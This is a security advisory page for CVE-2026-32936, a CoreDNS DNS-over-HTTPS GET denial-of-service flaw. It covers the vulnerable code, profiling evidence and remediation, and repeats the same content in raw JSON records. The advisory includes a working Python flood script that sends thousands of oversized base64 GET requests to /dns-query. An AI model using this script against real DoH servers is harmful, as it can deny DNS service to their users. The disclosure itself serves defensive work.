Vulnerability-Lookup

GHSA-63CW-R7XF-JMWR

Vulnerability from github – Published: 2026-04-28 22:43 – Updated: 2026-05-08 15:28

Summary

CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification

Details

Summary

CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized dns= query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning 400 Bad Request.

A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to /dns-query?dns=... and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.

This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.

Details

The vulnerable flow is in plugin/pkg/doh/doh.go:

RequestToMsg() dispatches GET requests to requestToMsgGet():
plugin/pkg/doh/doh.go:79-89
requestToMsgGet() calls req.URL.Query(), extracts dns, and passes it directly to base64ToMsg():
plugin/pkg/doh/doh.go:99-108
base64ToMsg() decodes the full attacker-controlled value via b64Enc.DecodeString() and only then attempts to unpack it into a DNS message:
plugin/pkg/doh/doh.go:121-130

Relevant snippet:

func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
    values := req.URL.Query()
    b64, ok := values["dns"]
    if !ok {
        return nil, fmt.Errorf("no 'dns' query parameter found")
    }
    if len(b64) != 1 {
        return nil, fmt.Errorf("multiple 'dns' query values found")
    }
    return base64ToMsg(b64[0])
}

func base64ToMsg(b64 string) (*dns.Msg, error) {
    buf, err := b64Enc.DecodeString(b64)
    if err != nil {
        return nil, err
    }

    m := new(dns.Msg)
    err = m.Unpack(buf)

    return m, err
}
````

By contrast, the POST path applies a bounded read before unpacking:

```go
func toMsg(r io.ReadCloser) (*dns.Msg, error) {
    buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
    if err != nil {
        return nil, err
    }
    m := new(dns.Msg)
    err = m.Unpack(buf)
    return m, err
}

So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.

In addition, the HTTPS server is created in core/dnsserver/server_https.go:87-92 without an explicit early GET-path size guard in this path:

srv := &http.Server{
    ReadTimeout:  s.ReadTimeout,
    WriteTimeout: s.WriteTimeout,
    IdleTimeout:  s.IdleTimeout,
    ErrorLog:     stdlog.New(&loggerAdapter{}, "", 0),
}

As a result, oversized DoH GET request targets are processed through:

HTTP request-line parsing
URL query parsing / unescaping
DoH GET extraction
base64 decoding
DNS message unpacking

before the request is rejected.

Root cause

The root cause is missing early size validation on the DoH GET path.

More specifically:

requestToMsgGet() performs req.URL.Query() on attacker-controlled oversized request targets.
The extracted dns value is passed to base64ToMsg() without an encoded-length or decoded-length bound.
base64ToMsg() fully decodes the attacker-controlled string before any DNS-size rejection.
The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.

This creates a pre-validation resource-amplification path for DoH GET.

PoC

Local test setup

This was reproduced locally against CoreDNS 1.14.2 over HTTPS with pprof enabled.

Create a self-signed certificate:

openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \
  -keyout key.pem -out cert.pem \
  -subj "/CN=127.0.0.1"

Create this Corefile:

https://127.0.0.1:8443 {
    whoami
    log
    errors
    tls cert.pem key.pem
    pprof 127.0.0.1:6060
}

Run CoreDNS:

./coredns -conf Corefile

Proof-of-concept script

#!/usr/bin/env python3
import argparse
import base64
import collections
import concurrent.futures
import http.client
import ssl
import time

def send_one(host, port, path, timeout):
    ctx = ssl._create_unverified_context()
    conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    try:
        conn.request("GET", path, headers={
            "Accept": "application/dns-message",
            "Connection": "close",
        })
        resp = conn.getresponse()
        resp.read()
        return resp.status
    except Exception as e:
        return f"ERR:{type(e).__name__}"
    finally:
        try:
            conn.close()
        except Exception:
            pass

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=8443)
    ap.add_argument("--decoded-kib", type=int, default=720)
    ap.add_argument("--workers", type=int, default=64)
    ap.add_argument("--requests", type=int, default=5000)
    ap.add_argument("--timeout", type=float, default=5.0)
    args = ap.parse_args()

    raw = b"A" * (args.decoded_kib * 1024)
    b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
    path = "/dns-query?dns=" + b64

    print(f"[+] target = https://{args.host}:{args.port}")
    print(f"[+] decoded bytes = {len(raw):,}")
    print(f"[+] encoded chars = {len(b64):,}")
    print(f"[+] request-target length = {len(path):,}")
    print(f"[+] workers = {args.workers}, requests = {args.requests}")
    print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n")

    started = time.time()
    results = collections.Counter()

    with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:
        futs = [
            ex.submit(send_one, args.host, args.port, path, args.timeout)
            for _ in range(args.requests)
        ]
        for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):
            results[fut.result()] += 1
            if i % 10 == 0 or i == args.requests:
                print(f"[{i}/{args.requests}] {dict(results)}")

    elapsed = time.time() - started
    print("\n[+] done")
    print(f"[+] elapsed = {elapsed:.2f}s")
    print(f"[+] summary = {dict(results)}")

if __name__ == "__main__":
    main()

Run the PoC:

python3 poc_doh_get_oversize_https.py \
  --host 127.0.0.1 \
  --port 8443 \
  --decoded-kib 720 \
  --workers 64 \
  --requests 5000

Profiling commands used during reproduction

CPU profile:

(curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &) ; \
sleep 1 ; \
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \
wait

go tool pprof -top ./coredns cpu_attack.pb.gz

Heap / allocation profiles:

curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz

python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000

curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz

go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz
go tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz

Reproduction results

The issue was confirmed using the following:

CoreDNS 1.14.2
linux/amd64
go1.26.1

PoC payload characteristics:

decoded payload size: 737,280 bytes
base64url-encoded dns length: 983,040
request-target length: 983,055

Observed request outcome:

5000 / 5000 requests returned 400 Bad Request
total runtime for the 5000-request run: 18.22s

The important point is that the requests are rejected only after expensive processing has already happened.

CPU profile highlights

The CPU profile captured during the attack showed significant time in:

net/http.readRequest
net/url.ParseQuery / net/url.QueryUnescape / net/url.unescape
github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet
github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg
encoding/base64.(*Encoding).DecodeString
Go GC worker paths

Representative cumulative values from the captured profile included:

github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP → 10.91s
github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 10.88s
github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 10.88s
github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 3.50s
encoding/base64.(*Encoding).DecodeString → 3.46s
net/http.readRequest → 10.57s
net/url.(*URL).Query / ParseQuery / QueryUnescape → 7.38s
runtime.gcBgMarkWorker and related GC paths were also heavily active

This demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.

Allocation profile highlights

Allocation profiling showed very large transient allocation volume caused by the rejected requests:

total alloc_space: 26,756.48 MB

Top contributors included:

net/textproto.(*Reader).readLineSlice → 19,668.19 MB
net/textproto.(*Reader).ReadLine → 3,738.84 MB
encoding/base64.(*Encoding).DecodeString → 2,766.16 MB

Within the CoreDNS DoH GET path specifically:

github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 2,775.67 MB
github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 2,775.67 MB
github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 2,773.67 MB

Heap delta (inuse_space) also showed live growth attributable to this path, including:

encoding/base64.(*Encoding).DecodeString → 7,629.75 kB

Memory observations

Runtime memory monitoring showed a clear increase in peak resident usage during the attack:

baseline VmHWM / VmRSS before load was approximately 55,864 kB
observed VmHWM during testing reached approximately 146,100 kB

So even though requests returned 400, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.

Impact

A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.

Impact includes:

elevated CPU consumption
large transient allocations
increased garbage-collection pressure
higher peak resident memory usage
degraded throughput and responsiveness
denial of service risk on memory-constrained or heavily loaded deployments

This is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.

The fact that the final HTTP status is 400 Bad Request does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.

Suggested remediation

A robust fix should address both stages of the problem:

Apply an early bound on the DoH GET request target / raw query length before expensive query parsing.
Enforce an encoded-length and decoded-length limit for the dns parameter before calling DecodeString().
Preserve equivalent size constraints across GET and POST paths.

A minimal hardening direction would be:

reject oversized GET requests before req.URL.Query() on the DoH path
reject dns values whose encoded length exceeds the maximum valid DNS message encoding
reject any decoded payload larger than the supported DNS message size before unpacking

Severity ?

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coredns/coredns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-28T22:43:47Z",
    "nvd_published_at": "2026-05-05T20:16:36Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nCoreDNS\u0027s DNS-over-HTTPS (DoH) GET path accepts oversized `dns=` query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning `400 Bad Request`.\n\nA remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to `/dns-query?dns=...` and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.\n\nThis is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.\n\n### Details\n\nThe vulnerable flow is in `plugin/pkg/doh/doh.go`:\n\n- `RequestToMsg()` dispatches GET requests to `requestToMsgGet()`:\n  - `plugin/pkg/doh/doh.go:79-89`\n- `requestToMsgGet()` calls `req.URL.Query()`, extracts `dns`, and passes it directly to `base64ToMsg()`:\n  - `plugin/pkg/doh/doh.go:99-108`\n- `base64ToMsg()` decodes the full attacker-controlled value via `b64Enc.DecodeString()` and only then attempts to unpack it into a DNS message:\n  - `plugin/pkg/doh/doh.go:121-130`\n\nRelevant snippet:\n\n```go\nfunc requestToMsgGet(req *http.Request) (*dns.Msg, error) {\n    values := req.URL.Query()\n    b64, ok := values[\"dns\"]\n    if !ok {\n        return nil, fmt.Errorf(\"no \u0027dns\u0027 query parameter found\")\n    }\n    if len(b64) != 1 {\n        return nil, fmt.Errorf(\"multiple \u0027dns\u0027 query values found\")\n    }\n    return base64ToMsg(b64[0])\n}\n\nfunc base64ToMsg(b64 string) (*dns.Msg, error) {\n    buf, err := b64Enc.DecodeString(b64)\n    if err != nil {\n        return nil, err\n    }\n\n    m := new(dns.Msg)\n    err = m.Unpack(buf)\n\n    return m, err\n}\n````\n\nBy contrast, the POST path applies a bounded read before unpacking:\n\n```go\nfunc toMsg(r io.ReadCloser) (*dns.Msg, error) {\n    buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))\n    if err != nil {\n        return nil, err\n    }\n    m := new(dns.Msg)\n    err = m.Unpack(buf)\n    return m, err\n}\n```\n\nSo, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.\n\nIn addition, the HTTPS server is created in `core/dnsserver/server_https.go:87-92` without an explicit early GET-path size guard in this path:\n\n```go\nsrv := \u0026http.Server{\n    ReadTimeout:  s.ReadTimeout,\n    WriteTimeout: s.WriteTimeout,\n    IdleTimeout:  s.IdleTimeout,\n    ErrorLog:     stdlog.New(\u0026loggerAdapter{}, \"\", 0),\n}\n```\n\nAs a result, oversized DoH GET request targets are processed through:\n\n1. HTTP request-line parsing\n2. URL query parsing / unescaping\n3. DoH GET extraction\n4. base64 decoding\n5. DNS message unpacking\n\nbefore the request is rejected.\n\n### Root cause\n\nThe root cause is missing early size validation on the DoH GET path.\n\nMore specifically:\n\n* `requestToMsgGet()` performs `req.URL.Query()` on attacker-controlled oversized request targets.\n* The extracted `dns` value is passed to `base64ToMsg()` without an encoded-length or decoded-length bound.\n* `base64ToMsg()` fully decodes the attacker-controlled string before any DNS-size rejection.\n* The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.\n\nThis creates a pre-validation resource-amplification path for DoH GET.\n\n### PoC\n\n#### Local test setup\n\nThis was reproduced locally against CoreDNS 1.14.2 over HTTPS with `pprof` enabled.\n\nCreate a self-signed certificate:\n\n```bash\nopenssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \\\n  -keyout key.pem -out cert.pem \\\n  -subj \"/CN=127.0.0.1\"\n```\n\nCreate this `Corefile`:\n\n```txt\nhttps://127.0.0.1:8443 {\n    whoami\n    log\n    errors\n    tls cert.pem key.pem\n    pprof 127.0.0.1:6060\n}\n```\n\nRun CoreDNS:\n\n```bash\n./coredns -conf Corefile\n```\n\n#### Proof-of-concept script\n\n```python\n#!/usr/bin/env python3\nimport argparse\nimport base64\nimport collections\nimport concurrent.futures\nimport http.client\nimport ssl\nimport time\n\ndef send_one(host, port, path, timeout):\n    ctx = ssl._create_unverified_context()\n    conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)\n    try:\n        conn.request(\"GET\", path, headers={\n            \"Accept\": \"application/dns-message\",\n            \"Connection\": \"close\",\n        })\n        resp = conn.getresponse()\n        resp.read()\n        return resp.status\n    except Exception as e:\n        return f\"ERR:{type(e).__name__}\"\n    finally:\n        try:\n            conn.close()\n        except Exception:\n            pass\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--host\", default=\"127.0.0.1\")\n    ap.add_argument(\"--port\", type=int, default=8443)\n    ap.add_argument(\"--decoded-kib\", type=int, default=720)\n    ap.add_argument(\"--workers\", type=int, default=64)\n    ap.add_argument(\"--requests\", type=int, default=5000)\n    ap.add_argument(\"--timeout\", type=float, default=5.0)\n    args = ap.parse_args()\n\n    raw = b\"A\" * (args.decoded_kib * 1024)\n    b64 = base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode()\n    path = \"/dns-query?dns=\" + b64\n\n    print(f\"[+] target = https://{args.host}:{args.port}\")\n    print(f\"[+] decoded bytes = {len(raw):,}\")\n    print(f\"[+] encoded chars = {len(b64):,}\")\n    print(f\"[+] request-target length = {len(path):,}\")\n    print(f\"[+] workers = {args.workers}, requests = {args.requests}\")\n    print(\"[+] 400 responses are expected; the issue is expensive processing before rejection.\\n\")\n\n    started = time.time()\n    results = collections.Counter()\n\n    with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:\n        futs = [\n            ex.submit(send_one, args.host, args.port, path, args.timeout)\n            for _ in range(args.requests)\n        ]\n        for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):\n            results[fut.result()] += 1\n            if i % 10 == 0 or i == args.requests:\n                print(f\"[{i}/{args.requests}] {dict(results)}\")\n\n    elapsed = time.time() - started\n    print(\"\\n[+] done\")\n    print(f\"[+] elapsed = {elapsed:.2f}s\")\n    print(f\"[+] summary = {dict(results)}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nRun the PoC:\n\n```bash\npython3 poc_doh_get_oversize_https.py \\\n  --host 127.0.0.1 \\\n  --port 8443 \\\n  --decoded-kib 720 \\\n  --workers 64 \\\n  --requests 5000\n```\n\n#### Profiling commands used during reproduction\n\nCPU profile:\n\n```bash\n(curl -s \"http://127.0.0.1:6060/debug/pprof/profile?seconds=20\" -o cpu_attack.pb.gz \u0026) ; \\\nsleep 1 ; \\\npython3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \\\nwait\n\ngo tool pprof -top ./coredns cpu_attack.pb.gz\n```\n\nHeap / allocation profiles:\n\n```bash\ncurl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz\ncurl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz\n\npython3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000\n\ncurl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz\ncurl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz\n\ngo tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz\ngo tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz\n```\n\n### Reproduction results\n\nThe issue was confirmed using the following:\n\n* CoreDNS 1.14.2\n* linux/amd64\n* go1.26.1\n\nPoC payload characteristics:\n\n* decoded payload size: `737,280 bytes`\n* base64url-encoded `dns` length: `983,040`\n* request-target length: `983,055`\n\nObserved request outcome:\n\n* `5000 / 5000` requests returned `400 Bad Request`\n* total runtime for the 5000-request run: `18.22s`\n\nThe important point is that the requests are rejected only after expensive processing has already happened.\n\n#### CPU profile highlights\n\nThe CPU profile captured during the attack showed significant time in:\n\n* `net/http.readRequest`\n* `net/url.ParseQuery` / `net/url.QueryUnescape` / `net/url.unescape`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg`\n* `encoding/base64.(*Encoding).DecodeString`\n* Go GC worker paths\n\nRepresentative cumulative values from the captured profile included:\n\n* `github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP` \u2192 `10.91s`\n* `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` \u2192 `10.88s`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` \u2192 `10.88s`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` \u2192 `3.50s`\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `3.46s`\n* `net/http.readRequest` \u2192 `10.57s`\n* `net/url.(*URL).Query` / `ParseQuery` / `QueryUnescape` \u2192 `7.38s`\n* `runtime.gcBgMarkWorker` and related GC paths were also heavily active\n\nThis demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.\n\n#### Allocation profile highlights\n\nAllocation profiling showed very large transient allocation volume caused by the rejected requests:\n\n* total `alloc_space`: `26,756.48 MB`\n\nTop contributors included:\n\n* `net/textproto.(*Reader).readLineSlice` \u2192 `19,668.19 MB`\n* `net/textproto.(*Reader).ReadLine` \u2192 `3,738.84 MB`\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `2,766.16 MB`\n\nWithin the CoreDNS DoH GET path specifically:\n\n* `github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg` \u2192 `2,775.67 MB`\n* `github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet` \u2192 `2,775.67 MB`\n* `github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg` \u2192 `2,773.67 MB`\n\nHeap delta (`inuse_space`) also showed live growth attributable to this path, including:\n\n* `encoding/base64.(*Encoding).DecodeString` \u2192 `7,629.75 kB`\n\n#### Memory observations\n\nRuntime memory monitoring showed a clear increase in peak resident usage during the attack:\n\n* baseline `VmHWM / VmRSS` before load was approximately `55,864 kB`\n* observed `VmHWM` during testing reached approximately `146,100 kB`\n\nSo even though requests returned `400`, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.\n\n### Impact\n\nA remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.\n\nImpact includes:\n\n* elevated CPU consumption\n* large transient allocations\n* increased garbage-collection pressure\n* higher peak resident memory usage\n* degraded throughput and responsiveness\n* denial of service risk on memory-constrained or heavily loaded deployments\n\nThis is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.\n\nThe fact that the final HTTP status is `400 Bad Request` does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.\n\n### Suggested remediation\n\nA robust fix should address both stages of the problem:\n\n1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing.\n2. Enforce an encoded-length and decoded-length limit for the `dns` parameter before calling `DecodeString()`.\n3. Preserve equivalent size constraints across GET and POST paths.\n\nA minimal hardening direction would be:\n\n* reject oversized GET requests before `req.URL.Query()` on the DoH path\n* reject `dns` values whose encoded length exceeds the maximum valid DNS message encoding\n* reject any decoded payload larger than the supported DNS message size before unpacking",
  "id": "GHSA-63cw-r7xf-jmwr",
  "modified": "2026-05-08T15:28:11Z",
  "published": "2026-04-28T22:43:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/security/advisories/GHSA-63cw-r7xf-jmwr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32936"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coredns/coredns"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification"
}

CVE-2026-32936 (GCVE-0-2026-32936)

Vulnerability from cvelistv5 – Published: 2026-05-05 19:07 – Updated: 2026-05-05 19:32

Title

CoreDNS DoH GET path missing size validation causes CPU and memory amplification

Summary

CoreDNS is a DNS server that chains plugins. In versions prior to 1.14.3, the DNS-over-HTTPS (DoH) GET path accepts oversized dns= query parameter values and performs URL query parsing, base64 decoding, and DNS message unpacking before rejecting the request. Unlike the POST path, which applies a bounded read via http.MaxBytesReader limited to 65536 bytes, the GET path has no equivalent size validation before expensive processing. A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to force high CPU usage, large transient memory allocations, and elevated garbage-collection pressure, leading to denial of service. This issue has been fixed in version 1.14.3.

Severity ?

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CWE

CWE-400 - Uncontrolled Resource Consumption

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/coredns/coredns/security/advis…	x_refsource_CONFIRM
https://github.com/coredns/coredns/releases/tag/v1.14.3	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
coredns	coredns	Affected: < 1.14.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-32936",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-05T19:32:21.653054Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-05T19:32:25.341Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/coredns/coredns/security/advisories/GHSA-63cw-r7xf-jmwr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "coredns",
          "vendor": "coredns",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.14.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CoreDNS is a DNS server that chains plugins. In versions prior to 1.14.3, the DNS-over-HTTPS (DoH) GET path accepts oversized dns= query parameter values and performs URL query parsing, base64 decoding, and DNS message unpacking before rejecting the request. Unlike the POST path, which applies a bounded read via http.MaxBytesReader limited to 65536 bytes, the GET path has no equivalent size validation before expensive processing. A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to force high CPU usage, large transient memory allocations, and elevated garbage-collection pressure, leading to denial of service. This issue has been fixed in version 1.14.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-05T19:07:51.926Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/coredns/coredns/security/advisories/GHSA-63cw-r7xf-jmwr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/coredns/coredns/security/advisories/GHSA-63cw-r7xf-jmwr"
        },
        {
          "name": "https://github.com/coredns/coredns/releases/tag/v1.14.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/coredns/coredns/releases/tag/v1.14.3"
        }
      ],
      "source": {
        "advisory": "GHSA-63cw-r7xf-jmwr",
        "discovery": "UNKNOWN"
      },
      "title": "CoreDNS DoH GET path missing size validation causes CPU and memory amplification"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-32936",
    "datePublished": "2026-05-05T19:07:51.926Z",
    "dateReserved": "2026-03-17T00:05:53.282Z",
    "dateUpdated": "2026-05-05T19:32:25.341Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-63CW-R7XF-JMWR

Summary

Details

Root cause

PoC

Local test setup

Proof-of-concept script

Profiling commands used during reproduction

Reproduction results

CPU profile highlights

Allocation profile highlights

Memory observations

Impact

Suggested remediation

CVE-2026-32936 (GCVE-0-2026-32936)

Tags

Sightings

Nomenclature